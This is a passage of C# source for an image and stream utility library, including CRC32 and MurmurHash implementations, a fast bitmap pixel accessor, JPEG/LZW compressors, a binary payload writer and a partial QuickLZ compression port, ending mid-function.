// Tamir Khason http://khason.net/
//
// Released under MS-PL : 6-Apr-09
using System;
using System.Collections.Generic;
using System.Text;
using System.Security.Cryptography;
using System.Collections;
using System.IO;
namespace StreamLibrary.src
{
/// <summary>Implements a 32-bits cyclic redundancy check (CRC) hash algorithm.</summary>
/// <remarks>This class is not intended to be used for security purposes. For security applications use MD5, SHA1, SHA256, SHA384,
/// or SHA512 in the System.Security.Cryptography namespace.</remarks>
public class CRC32 : HashAlgorithm
{
#region CONSTRUCTORS
/// <summary>Creates a CRC32 object using the <see cref="DefaultPolynomial"/>.</summary>
public CRC32()
: this(DefaultPolynomial)
{
}
/// <summary>Creates a CRC32 object using the specified polynomial.</summary>
/// <remarks>The polynomical should be supplied in its bit-reflected form. <see cref="DefaultPolynomial"/>.</remarks>
public CRC32(uint polynomial)
{
HashSizeValue = 32;
_crc32Table = (uint[])_crc32TablesCache[polynomial];
if (_crc32Table == null)
{
_crc32Table = CRC32._buildCRC32Table(polynomial);
_crc32TablesCache.Add(polynomial, _crc32Table);
}
Initialize();
}
// static constructor
static CRC32()
{
_crc32TablesCache = Hashtable.Synchronized(new Hashtable());
_defaultCRC = new CRC32();
}
#endregion
#region PROPERTIES
/// <summary>Gets the default polynomial (used in WinZip, Ethernet, etc.)</summary>
/// <remarks>The default polynomial is a bit-reflected version of the standard polynomial 0x04C11DB7 used by WinZip, Ethernet, etc.</remarks>
public static readonly uint DefaultPolynomial = 0xEDB88320; // Bitwise reflection of 0x04C11DB7;
#endregion
#region METHODS
/// <summary>Initializes an implementation of HashAlgorithm.</summary>
public override void Initialize()
{
_crc = _allOnes;
}
/// <summary>Routes data written to the object into the hash algorithm for computing the hash.</summary>
protected override void HashCore(byte[] buffer, int offset, int count)
{
for (int i = offset; i < count; i++)
{
ulong ptr = (_crc & 0xFF) ^ buffer[i];
_crc >>= 8;
_crc ^= _crc32Table[ptr];
}
}
/// <summary>Finalizes the hash computation after the last data is processed by the cryptographic stream object.</summary>
protected override byte[] HashFinal()
{
byte[] finalHash = new byte[4];
ulong finalCRC = _crc ^ _allOnes;
finalHash[0] = (byte)((finalCRC >> 0) & 0xFF);
finalHash[1] = (byte)((finalCRC >> 8) & 0xFF);
finalHash[2] = (byte)((finalCRC >> 16) & 0xFF);
finalHash[3] = (byte)((finalCRC >> 24) & 0xFF);
return finalHash;
}
/// <summary>Computes the CRC32 value for the given ASCII string using the <see cref="DefaultPolynomial"/>.</summary>
public static int Compute(string asciiString)
{
_defaultCRC.Initialize();
return ToInt32(_defaultCRC.ComputeHash(asciiString));
}
/// <summary>Computes the CRC32 value for the given input stream using the <see cref="DefaultPolynomial"/>.</summary>
public static int Compute(Stream inputStream)
{
_defaultCRC.Initialize();
return ToInt32(_defaultCRC.ComputeHash(inputStream));
}
/// <summary>Computes the CRC32 value for the input data using the <see cref="DefaultPolynomial"/>.</summary>
public static int Compute(byte[] buffer)
{
_defaultCRC.Initialize();
return ToInt32(_defaultCRC.ComputeHash(buffer));
}
/// <summary>Computes the hash value for the input data using the <see cref="DefaultPolynomial"/>.</summary>
public static int Compute(byte[] buffer, int offset, int count)
{
_defaultCRC.Initialize();
return ToInt32(_defaultCRC.ComputeHash(buffer, offset, count));
}
/// <summary>Computes the hash value for the given ASCII string.</summary>
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
public byte[] ComputeHash(string asciiString)
{
byte[] rawBytes = ASCIIEncoding.ASCII.GetBytes(asciiString);
return ComputeHash(rawBytes);
}
/// <summary>Computes the hash value for the given input stream.</summary>
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
new public byte[] ComputeHash(Stream inputStream)
{
byte[] buffer = new byte[4096];
int bytesRead;
while ((bytesRead = inputStream.Read(buffer, 0, 4096)) > 0)
{
HashCore(buffer, 0, bytesRead);
}
return HashFinal();
}
/// <summary>Computes the hash value for the input data.</summary>
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
new public byte[] ComputeHash(byte[] buffer)
{
return ComputeHash(buffer, 0, buffer.Length);
}
/// <summary>Computes the hash value for the input data.</summary>
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
new public byte[] ComputeHash(byte[] buffer, int offset, int count)
{
HashCore(buffer, offset, count);
return HashFinal();
}
#endregion
#region PRIVATE SECTION
private static uint _allOnes = 0xffffffff;
private static CRC32 _defaultCRC;
private static Hashtable _crc32TablesCache;
private uint[] _crc32Table;
private uint _crc;
// Builds a crc32 table given a polynomial
private static uint[] _buildCRC32Table(uint polynomial)
{
uint crc;
uint[] table = new uint[256];
// 256 values representing ASCII character codes.
for (int i = 0; i < 256; i++)
{
crc = (uint)i;
for (int j = 8; j > 0; j--)
{
if ((crc & 1) == 1)
crc = (crc >> 1) ^ polynomial;
else
crc >>= 1;
}
table[i] = crc;
}
return table;
}
private static int ToInt32(byte[] buffer)
{
return BitConverter.ToInt32(buffer, 0);
}
#endregion
}
}

View File

@ -0,0 +1,12 @@
using System;
using System.Collections.Generic;
using System.Text;
namespace System.Runtime.CompilerServices
{
[AttributeUsage(AttributeTargets.Method)]
public sealed class ExtensionAttribute : Attribute
{
public ExtensionAttribute() { }
}
}

View File

@ -0,0 +1,59 @@
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Text;
namespace StreamLibrary.src
{
public static unsafe class Extensions
{
public static SortedList<int, SortedList<int, Rectangle>> RectanglesTo2D(this Rectangle[] rects)
{
SortedList<int, SortedList<int, Rectangle>> Rects = new SortedList<int, SortedList<int, Rectangle>>();
for (int i = 0; i < rects.Length; i++)
{
if (!Rects.ContainsKey(rects[i].Y))
Rects.Add(rects[i].Y, new SortedList<int, Rectangle>());
if (!Rects[rects[i].Y].ContainsKey(rects[i].X))
Rects[rects[i].Y].Add(rects[i].X, rects[i]);
}
return Rects;
}
public static SortedList<int, SortedList<int, Rectangle>> Rectangle2DToRows(this SortedList<int, SortedList<int, Rectangle>> Rects)
{
SortedList<int, SortedList<int, Rectangle>> RectRows = new SortedList<int, SortedList<int, Rectangle>>();
for (int i = 0; i < Rects.Values.Count; i++)
{
if (!RectRows.ContainsKey(Rects.Values[i].Values[0].Y))
{
RectRows.Add(Rects.Values[i].Values[0].Y, new SortedList<int, Rectangle>());
}
if (!RectRows[Rects.Values[i].Values[0].Y].ContainsKey(Rects.Values[i].Values[0].X))
{
RectRows[Rects.Values[i].Values[0].Y].Add(Rects.Values[i].Values[0].X, Rects.Values[i].Values[0]);
}
Rectangle EndRect = Rects.Values[i].Values[0];
for (int x = 1; x < Rects.Values[i].Values.Count; x++)
{
Rectangle CurRect = Rects.Values[i].Values[x];
Rectangle tmpRect = RectRows[EndRect.Y].Values[RectRows[EndRect.Y].Count - 1];
if (tmpRect.IntersectsWith(new Rectangle(CurRect.X - 1, CurRect.Y, CurRect.Width, CurRect.Height)))
{
RectRows[EndRect.Y][tmpRect.X] = new Rectangle(tmpRect.X, tmpRect.Y, tmpRect.Width + EndRect.Width, tmpRect.Height);
EndRect = Rects.Values[i].Values[x];
}
else
{
EndRect = Rects.Values[i].Values[x];
RectRows[Rects.Values[i].Values[0].Y].Add(EndRect.X, EndRect);
}
}
}
return RectRows;
}
}
}

View File

@ -0,0 +1,353 @@
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.Text;
namespace StreamLibrary.src
{
public unsafe class FastBitmap
{
public Bitmap bitmap { get; set; }
public BitmapData bitmapData { get; private set; }
public int Width { get; private set; }
public int Height { get; private set; }
public PixelFormat format { get; private set; }
public DateTime BitmapCreatedAt;
public bool IsLocked { get; private set; }
public int Stride
{
get { return bitmapData.Stride; }
}
public FastBitmap(Bitmap bitmap, PixelFormat format)
{
switch (format)
{
case PixelFormat.Format32bppArgb:
case PixelFormat.Format24bppRgb:
case PixelFormat.Format32bppRgb:
case PixelFormat.Format8bppIndexed:
case PixelFormat.Format4bppIndexed:
case PixelFormat.Format1bppIndexed:
break;
default:
throw new NotSupportedException(format + " is not supported.");
}
this.bitmap = bitmap;
this.Width = this.bitmap.Width;
this.Height = this.bitmap.Height;
this.format = format;
Lock();
BitmapCreatedAt = DateTime.Now;
}
public FastBitmap(Bitmap bitmap)
{
this.format = bitmap.PixelFormat;
switch (format)
{
case PixelFormat.Format32bppArgb:
case PixelFormat.Format24bppRgb:
case PixelFormat.Format32bppRgb:
case PixelFormat.Format8bppIndexed:
case PixelFormat.Format4bppIndexed:
case PixelFormat.Format1bppIndexed:
break;
default:
throw new NotSupportedException(format + " is not supported.");
}
this.bitmap = bitmap;
this.Width = this.bitmap.Width;
this.Height = this.bitmap.Height;
this.format = format;
Lock();
BitmapCreatedAt = DateTime.Now;
}
public Color GetPixel(int x, int y)
{
byte* position = (byte*)bitmapData.Scan0.ToPointer();
position += CalcOffset(x, y);
byte A = position[3];
byte R = position[2];
byte G = position[1];
byte B = position[0];
return Color.FromArgb(A, R, G, B);
}
public void SetPixel(int x, int y, Color color)
{
byte* position = (byte*)bitmapData.Scan0.ToPointer();
position += CalcOffset(x, y);
position[3] = color.A;
position[2] = color.R;
position[1] = color.G;
position[0] = color.B;
}
public Color GetPixel(int x, int y, byte[] ImgData)
{
long offset = CalcOffset(x, y) + 4;
if (offset + 4 < ImgData.Length)
{
byte R = ImgData[offset];
byte G = ImgData[offset + 1];
byte B = ImgData[offset + 2];
return Color.FromArgb(255, R, G, B);
}
return Color.FromArgb(255, 0, 0, 0);
}
public void SetPixel(int x, int y, Color color, byte[] ImgData)
{
long offset = CalcOffset(x, y) + 4;
if (offset + 4 < ImgData.Length)
{
ImgData[offset] = color.R;
ImgData[offset + 1] = color.G;
ImgData[offset + 2] = color.B;
ByteArrayToBitmap(ImgData);
}
}
public void DrawRectangle(Point begin, Point end, Color color)
{
for (int x = begin.X; x < end.X; x++)
{
for (int y = begin.Y; y < end.Y; y++)
{
SetPixel(x, y, color);
}
}
}
public Int64 CalcOffset(int x, int y)
{
switch (format)
{
case PixelFormat.Format32bppArgb:
return (y * bitmapData.Stride) + (x * 4);
case PixelFormat.Format24bppRgb:
case PixelFormat.Format32bppRgb:
return (y * bitmapData.Stride) + (x * 3);
case PixelFormat.Format8bppIndexed:
return (y * bitmapData.Stride) + x;
case PixelFormat.Format4bppIndexed:
return (y * bitmapData.Stride) + (x / 2);
case PixelFormat.Format1bppIndexed:
return (y * bitmapData.Stride) + (x * 8);
}
return 0;
}
public static int CalcImageOffset(int x, int y, PixelFormat format, int width)
{
switch (format)
{
case PixelFormat.Format32bppArgb:
return (y * (width * 4)) + (x * 4);
case PixelFormat.Format24bppRgb:
case PixelFormat.Format32bppRgb:
return (y * (width * 3)) + (x * 3);
case PixelFormat.Format8bppIndexed:
return (y * width) + x;
case PixelFormat.Format4bppIndexed:
return (y * (width / 2)) + (x / 2);
case PixelFormat.Format1bppIndexed:
return (y * (width * 8)) + (x * 8);
default:
throw new NotSupportedException(format + " is not supported.");
}
}
public void ScanPixelDuplicates(Point BeginPoint, ref Point EndPoint, ref Color RetColor)
{
Color curColor = GetPixel(BeginPoint.X, BeginPoint.Y);
for (int x = BeginPoint.X; x < this.Width; x++)
{
Color prevColor = GetPixel(x, BeginPoint.Y);
if (curColor.R != prevColor.R ||
curColor.G != prevColor.G ||
curColor.B != prevColor.B)
{
EndPoint = new Point(x, BeginPoint.Y);
RetColor = curColor;
return;
}
}
EndPoint = new Point(this.Width, BeginPoint.Y);
RetColor = curColor;
}
public void Unlock()
{
if (IsLocked)
{
bitmap.UnlockBits(bitmapData);
IsLocked = false;
}
}
public void Lock()
{
if (!IsLocked)
{
bitmapData = bitmap.LockBits(new Rectangle(0, 0, Width, Height), System.Drawing.Imaging.ImageLockMode.ReadWrite, format);
IsLocked = true;
}
}
public byte[] ToByteArray()
{
int bytes = Math.Abs(bitmapData.Stride) * Height;
byte[] rgbValues = new byte[bytes];
System.Runtime.InteropServices.Marshal.Copy(new IntPtr(bitmapData.Scan0.ToInt32()), rgbValues, 0, bytes);
return rgbValues;
}
public void ByteArrayToBitmap(byte[] data)
{
System.Runtime.InteropServices.Marshal.Copy(data, 0, bitmapData.Scan0, data.Length);
}
public void Dispose()
{
if (bitmap != null)
{
try { bitmap.UnlockBits(bitmapData); }
catch { }
try { bitmap.Dispose(); }
catch { }
try
{
bitmap = null;
bitmapData = null;
}
catch { }
}
}
/// <summary> Get the byte points where to read from in a byte array </summary>
/// <param name="beginPoint">The beginning of the X, Y</param>
/// <param name="endPoint">The end of the X, Y</param>
/// <param name="ImgSize">The size of the image</param>
/// <param name="SlicePieces">Slice the byte points into pieces to get the byte points faster</param>
public static ArrayOffset[] GetBytePoints(Point beginPoint, Point endPoint, Size ImgSize, PixelFormat format)
{
List<ArrayOffset> offsets = new List<ArrayOffset>();
for (int y = beginPoint.Y; y < endPoint.Y; y++)
{
int BeginOffset = (int)FastBitmap.CalcImageOffset(beginPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (beginPoint.X * 4);
int EndOffset = (int)FastBitmap.CalcImageOffset(endPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (endPoint.X * 4);
switch (format)
{
case PixelFormat.Format32bppArgb:
{
if (EndOffset + ((endPoint.X - beginPoint.X) * 4) >= (ImgSize.Width * ImgSize.Height) * 4)
break;
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 4), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
break;
}
case PixelFormat.Format24bppRgb:
case PixelFormat.Format32bppRgb:
{
if (EndOffset + ((endPoint.X - beginPoint.X) * 3) >= (ImgSize.Width * ImgSize.Height) * 3)
break;
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 3), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
break;
}
case PixelFormat.Format8bppIndexed:
{
if (EndOffset + ((endPoint.X - beginPoint.X)) >= (ImgSize.Width * ImgSize.Height))
break;
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X)), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
break;
}
case PixelFormat.Format4bppIndexed:
{
if (EndOffset + ((endPoint.X - beginPoint.X) / 2) >= (ImgSize.Width * ImgSize.Height) / 2)
break;
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) / 2), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
break;
}
case PixelFormat.Format1bppIndexed:
{
if (EndOffset + ((endPoint.X - beginPoint.X) * 8) >= (ImgSize.Width * ImgSize.Height) * 8)
break;
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 8), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
break;
}
default:
{
throw new NotSupportedException(format + " is not supported.");
}
}
}
return offsets.ToArray();
}
/// <summary> Get the byte points in 2D </summary>
/// <param name="beginPoint">The beginning of the X, Y</param>
/// <param name="endPoint">The end of the X, Y</param>
/// <param name="ImgSize">The size of the image</param>
/// <param name="SlicePieces">Slice the byte points into pieces to get the byte points faster</param>
public static ArrayOffset[,][] Get2DBytePoints(Point beginPoint, Point endPoint, Size ImgSize, int SlicePieces, PixelFormat format)
{
int Width = endPoint.X - beginPoint.X;
int Height = endPoint.Y - beginPoint.Y;
float Wsize = ((float)Width / (float)SlicePieces);
float Hsize = ((float)Height / (float)SlicePieces);
//+1 just to make sure we are not going outside the array
if (Wsize - (int)Wsize > 0.0F) Wsize += 1.0F;
if (Hsize - (int)Hsize > 0.0F) Hsize += 1.0F;
ArrayOffset[,][] ImageArrayOffsets = new ArrayOffset[(int)Hsize, (int)Wsize][];
Point tmp = new Point(0, 0);
for (int y = beginPoint.Y; y < Height; y += SlicePieces)
{
for (int x = beginPoint.X; x < Width; x += SlicePieces)
{
ImageArrayOffsets[tmp.Y, tmp.X] = FastBitmap.GetBytePoints(new Point(x, y), new Point(x + SlicePieces, y + SlicePieces), ImgSize, format);
tmp.X++;
}
tmp.X = 0;
tmp.Y++;
}
return ImageArrayOffsets;
}
}
public class ArrayOffset
{
public int BeginOffset { get; private set; }
public int EndOffset { get; private set; }
public int Stride { get; private set; }
public int X { get; private set; }
public int Y { get; private set; }
public int Width { get; private set; }
public int Height { get; private set; }
public ArrayOffset(int begin, int end, int Stride, int x, int y, int width, int height)
{
this.BeginOffset = begin;
this.EndOffset = end;
this.Stride = Stride;
this.X = x;
this.Y = y;
this.Width = width;
this.Height = height;
}
}
}

View File

@ -0,0 +1,52 @@
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Text;
namespace StreamLibrary.src
{
public class JpgCompression
{
private EncoderParameter parameter;
private ImageCodecInfo encoderInfo;
private EncoderParameters encoderParams;
public JpgCompression(int Quality)
{
this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality);
this.encoderInfo = GetEncoderInfo("image/jpeg");
this.encoderParams = new EncoderParameters(2);
this.encoderParams.Param[0] = parameter;
this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)2);
}
public byte[] Compress(Bitmap bmp)
{
using (MemoryStream stream = new MemoryStream())
{
bmp.Save(stream, encoderInfo, encoderParams);
return stream.ToArray();
}
}
public void Compress(Bitmap bmp, ref Stream TargetStream)
{
bmp.Save(TargetStream, encoderInfo, encoderParams);
}
private ImageCodecInfo GetEncoderInfo(string mimeType)
{
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
int num2 = imageEncoders.Length - 1;
for (int i = 0; i <= num2; i++)
{
if (imageEncoders[i].MimeType == mimeType)
{
return imageEncoders[i];
}
}
return null;
}
}
}

View File

@ -0,0 +1,55 @@
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Text;
namespace StreamLibrary.src
{
public class LzwCompression
{
private EncoderParameter parameter;
private ImageCodecInfo encoderInfo;
private EncoderParameters encoderParams;
public LzwCompression(int Quality)
{
this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality);
this.encoderInfo = GetEncoderInfo("image/jpeg");
this.encoderParams = new EncoderParameters(2);
this.encoderParams.Param[0] = parameter;
this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)EncoderValue.CompressionLZW);
}
public byte[] Compress(Bitmap bmp, byte[] AdditionInfo = null)
{
using (MemoryStream stream = new MemoryStream())
{
if (AdditionInfo != null)
stream.Write(AdditionInfo, 0, AdditionInfo.Length);
bmp.Save(stream, encoderInfo, encoderParams);
return stream.ToArray();
}
}
public void Compress(Bitmap bmp, Stream stream, byte[] AdditionInfo = null)
{
if (AdditionInfo != null)
stream.Write(AdditionInfo, 0, AdditionInfo.Length);
bmp.Save(stream, encoderInfo, encoderParams);
}
private ImageCodecInfo GetEncoderInfo(string mimeType)
{
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
for (int i = 0; i < imageEncoders.Length; i++)
{
if (imageEncoders[i].MimeType == mimeType)
{
return imageEncoders[i];
}
}
return null;
}
}
}

View File

@ -0,0 +1,62 @@
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text;
namespace StreamLibrary.src
{
public unsafe class MurmurHash2Unsafe
{
const UInt32 m = 0x5bd1e995;
const Int32 r = 24;
public unsafe UInt32 Hash(Byte* data, int length)
{
if (length == 0)
return 0;
UInt32 h = 0xc58f1a7b ^ (UInt32)length;
Int32 remainingBytes = length & 3; // mod 4
Int32 numberOfLoops = length >> 2; // div 4
UInt32* realData = (UInt32*)data;
while (numberOfLoops != 0)
{
UInt32 k = *realData;
k *= m;
k ^= k >> r;
k *= m;
h *= m;
h ^= k;
numberOfLoops--;
realData++;
}
switch (remainingBytes)
{
case 3:
h ^= (UInt16)(*realData);
h ^= ((UInt32)(*(((Byte*)(realData)) + 2))) << 16;
h *= m;
break;
case 2:
h ^= (UInt16)(*realData);
h *= m;
break;
case 1:
h ^= *((Byte*)realData);
h *= m;
break;
default:
break;
}
// Do a few final mixes of the hash to ensure the last few
// bytes are well-incorporated.
h ^= h >> 13;
h *= m;
h ^= h >> 15;
return h;
}
}
}

View File

@ -0,0 +1,22 @@
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text;
namespace StreamLibrary.src
{
public class NativeMethods
{
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count);
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count);
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern int memcpy(IntPtr dst, IntPtr src, uint count);
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern unsafe int memcpy(void* dst, void* src, uint count);
}
}

View File

@ -0,0 +1,113 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
namespace StreamLibrary.src
{
public class PayloadWriter : IDisposable
{
public Stream vStream { get; set; }
public PayloadWriter()
{
vStream = new MemoryStream();
}
public PayloadWriter(Stream stream)
{
vStream = stream;
}
public void WriteBytes(byte[] value)
{
vStream.Write(value, 0, value.Length);
}
public void WriteBytes(byte[] value, int Offset, int Length)
{
vStream.Write(value, Offset, Length);
}
public void WriteInteger(int value)
{
WriteBytes(BitConverter.GetBytes(value));
}
/// <summary>
/// A integer with 3 bytes not 4
/// </summary>
public void WriteThreeByteInteger(int value)
{
WriteByte((byte)value);
WriteByte((byte)(value >> 8));
WriteByte((byte)(value >> 16));
}
public void WriteUInteger(uint value)
{
WriteBytes(BitConverter.GetBytes(value));
}
public void WriteShort(short value)
{
WriteBytes(BitConverter.GetBytes(value));
}
public void WriteUShort(ushort value)
{
WriteBytes(BitConverter.GetBytes(value));
}
public void WriteULong(ulong value)
{
WriteBytes(BitConverter.GetBytes(value));
}
public void WriteByte(byte value)
{
vStream.WriteByte(value);
}
public void WriteBool(bool value)
{
WriteByte(value ? (byte)1 : (byte)0);
}
public void WriteDouble(double value)
{
WriteBytes(BitConverter.GetBytes(value));
}
public void WriteLong(long value)
{
WriteBytes(BitConverter.GetBytes(value));
}
public void WriteFloat(float value)
{
WriteBytes(BitConverter.GetBytes(value));
}
public void WriteDecimal(decimal value)
{
BinaryWriter writer = new BinaryWriter(vStream);
writer.Write(value);
}
public void WriteString(string value)
{
if (!(value == null))
WriteBytes(System.Text.Encoding.Unicode.GetBytes(value));
else
throw new NullReferenceException("value");
vStream.WriteByte(0);
vStream.WriteByte(0);
}
public int Length
{
get { return (int)vStream.Length; }
}
public void Dispose()
{
vStream.Close();
vStream.Dispose();
vStream = null;
}
}
}

View File

@ -0,0 +1,58 @@
using System;
using System.Collections.Generic;
using System.Text;
namespace StreamLibrary.src
{
/// <summary>
/// A helper class for pointers
/// </summary>
public class PointerHelper
{
private int _offset;
public IntPtr Pointer
{
get;
private set;
}
public int TotalLength { get; private set; }
public int Offset
{
get { return _offset; }
set
{
if (value < 0)
throw new Exception("Offset must be >= 1");
if (value >= TotalLength)
throw new Exception("Offset cannot go outside of the reserved buffer space");
_offset = value;
}
}
public PointerHelper(IntPtr pointer, int Length)
{
this.TotalLength = Length;
this.Pointer = pointer;
}
/// <summary>
/// Copies data from Source to the current Pointer Offset
/// </summary>
public void Copy(IntPtr Source, int SourceOffset, int SourceLength)
{
if (CheckBoundries(this.Offset, SourceLength))
throw new AccessViolationException("Cannot write outside of the buffer space");
NativeMethods.memcpy(new IntPtr(this.Pointer.ToInt64() + Offset), new IntPtr(Source.ToInt64() + SourceOffset), (uint)SourceLength);
}
private bool CheckBoundries(int offset, int length)
{
return offset + length > TotalLength;
}
}
}

View File

@ -0,0 +1,487 @@
using System;
using System.Collections.Generic;
using System.Text;
namespace StreamLibrary.src
{
// QuickLZ data compression library
// Copyright (C) 2006-2011 Lasse Mikkel Reinhold
// lar@quicklz.com
//
// QuickLZ can be used for free under the GPL 1, 2 or 3 license (where anything
// released into public must be open source) or under a commercial license if such
// has been acquired (see http://www.quicklz.com/order.html). The commercial license
// does not cover derived or ported versions created by third parties under GPL.
//
// Only a subset of the C library has been ported, namely level 1 and 3 not in
// streaming mode.
//
// Version: 1.5.0 final
public class SafeQuickLZ
{
public const int QLZ_VERSION_MAJOR = 1;
public const int QLZ_VERSION_MINOR = 5;
public const int QLZ_VERSION_REVISION = 0;
// Streaming mode not supported
public const int QLZ_STREAMING_BUFFER = 0;
// Bounds checking not supported Use try...catch instead
public const int QLZ_MEMORY_SAFE = 0;
// Decrease QLZ_POINTERS_3 to increase level 3 compression speed. Do not edit any other values!
private const int HASH_VALUES = 4096;
private const int MINOFFSET = 2;
private const int UNCONDITIONAL_MATCHLEN = 6;
private const int UNCOMPRESSED_END = 4;
private const int CWORD_LEN = 4;
private const int DEFAULT_HEADERLEN = 9;
private const int QLZ_POINTERS_1 = 1;
private const int QLZ_POINTERS_3 = 16;
private int headerLen(byte[] source, int offset)
{
return ((source[offset] & 2) == 2) ? 9 : 3;
}
public int sizeDecompressed(byte[] source, int offset)
{
if (headerLen(source, offset) == 9)
return source[offset + 5] | (source[offset + 6] << 8) | (source[offset + 7] << 16) | (source[offset + 8] << 24);
else
return source[offset + 2];
}
public int sizeCompressed(byte[] source, int offset)
{
if (headerLen(source, offset) == 9)
return source[offset + 1] | (source[offset + 2] << 8) | (source[offset + 3] << 16) | (source[offset + 4] << 24);
else
return source[offset + 1];
}
private void write_header(byte[] dst, int level, bool compressible, int size_compressed, int size_decompressed)
{
dst[0] = (byte)(2 | (compressible ? 1 : 0));
dst[0] |= (byte)(level << 2);
dst[0] |= (1 << 6);
dst[0] |= (0 << 4);
fast_write(dst, 1, size_decompressed, 4);
fast_write(dst, 5, size_compressed, 4);
}
public byte[] compress(byte[] source, int Offset, int Length, int level)
{
int src = Offset;
int dst = DEFAULT_HEADERLEN + CWORD_LEN;
uint cword_val = 0x80000000;
int cword_ptr = DEFAULT_HEADERLEN;
byte[] destination = new byte[Length + 400];
int[,] hashtable;
int[] cachetable = new int[HASH_VALUES];
byte[] hash_counter = new byte[HASH_VALUES];
byte[] d2;
int fetch = 0;
int last_matchstart = (Length - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1);
int lits = 0;
if (level != 1 && level != 3)
throw new ArgumentException("C# version only supports level 1 and 3");
if (level == 1)
hashtable = new int[HASH_VALUES, QLZ_POINTERS_1];
else
hashtable = new int[HASH_VALUES, QLZ_POINTERS_3];
if (Length == 0)
return new byte[0];
if (src <= last_matchstart)
fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
while (src <= last_matchstart)
{
if ((cword_val & 1) == 1)
{
if (src > Length >> 1 && dst > src - (src >> 5))
{
d2 = new byte[Length + DEFAULT_HEADERLEN];
write_header(d2, level, false, Length, Length + DEFAULT_HEADERLEN);
System.Array.Copy(source, 0, d2, DEFAULT_HEADERLEN, Length);
return d2;
}
fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4);
cword_ptr = dst;
dst += CWORD_LEN;
cword_val = 0x80000000;
}
if (level == 1)
{
int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
int o = hashtable[hash, 0];
int cache = cachetable[hash] ^ fetch;
cachetable[hash] = fetch;
hashtable[hash, 0] = src;
if (cache == 0 && hash_counter[hash] != 0 && (src - o > MINOFFSET || (src == o + 1 && lits >= 3 && src > 3 && source[src] == source[src - 3] &&
source[src] == source[src - 2] && source[src] == source[src - 1] &&
source[src] == source[src + 1] && source[src] == source[src + 2])))
{
cword_val = ((cword_val >> 1) | 0x80000000);
if (source[o + 3] != source[src + 3])
{
int f = 3 - 2 | (hash << 4);
destination[dst + 0] = (byte)(f >> 0 * 8);
destination[dst + 1] = (byte)(f >> 1 * 8);
src += 3;
dst += 2;
}
else
{
int old_src = src;
int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1));
src += 4;
if (source[o + src - old_src] == source[src])
{
src++;
if (source[o + src - old_src] == source[src])
{
src++;
while (source[o + (src - old_src)] == source[src] && (src - old_src) < remaining)
src++;
}
}
int matchlen = src - old_src;
hash <<= 4;
if (matchlen < 18)
{
int f = (hash | (matchlen - 2));
destination[dst + 0] = (byte)(f >> 0 * 8);
destination[dst + 1] = (byte)(f >> 1 * 8);
dst += 2;
}
else
{
fast_write(destination, dst, hash | (matchlen << 16), 3);
dst += 3;
}
}
fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
lits = 0;
}
else
{
lits++;
hash_counter[hash] = 1;
destination[dst] = source[src];
cword_val = (cword_val >> 1);
src++;
dst++;
fetch = ((fetch >> 8) & 0xffff) | (source[src + 2] << 16);
}
}
else
{
fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
int o, offset2;
int matchlen, k, m, best_k = 0;
byte c;
int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1));
int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
c = hash_counter[hash];
matchlen = 0;
offset2 = 0;
for (k = 0; k < QLZ_POINTERS_3 && c > k; k++)
{
o = hashtable[hash, k];
if ((byte)fetch == source[o] && (byte)(fetch >> 8) == source[o + 1] && (byte)(fetch >> 16) == source[o + 2] && o < src - MINOFFSET)
{
m = 3;
while (source[o + m] == source[src + m] && m < remaining)
m++;
if ((m > matchlen) || (m == matchlen && o > offset2))
{
offset2 = o;
matchlen = m;
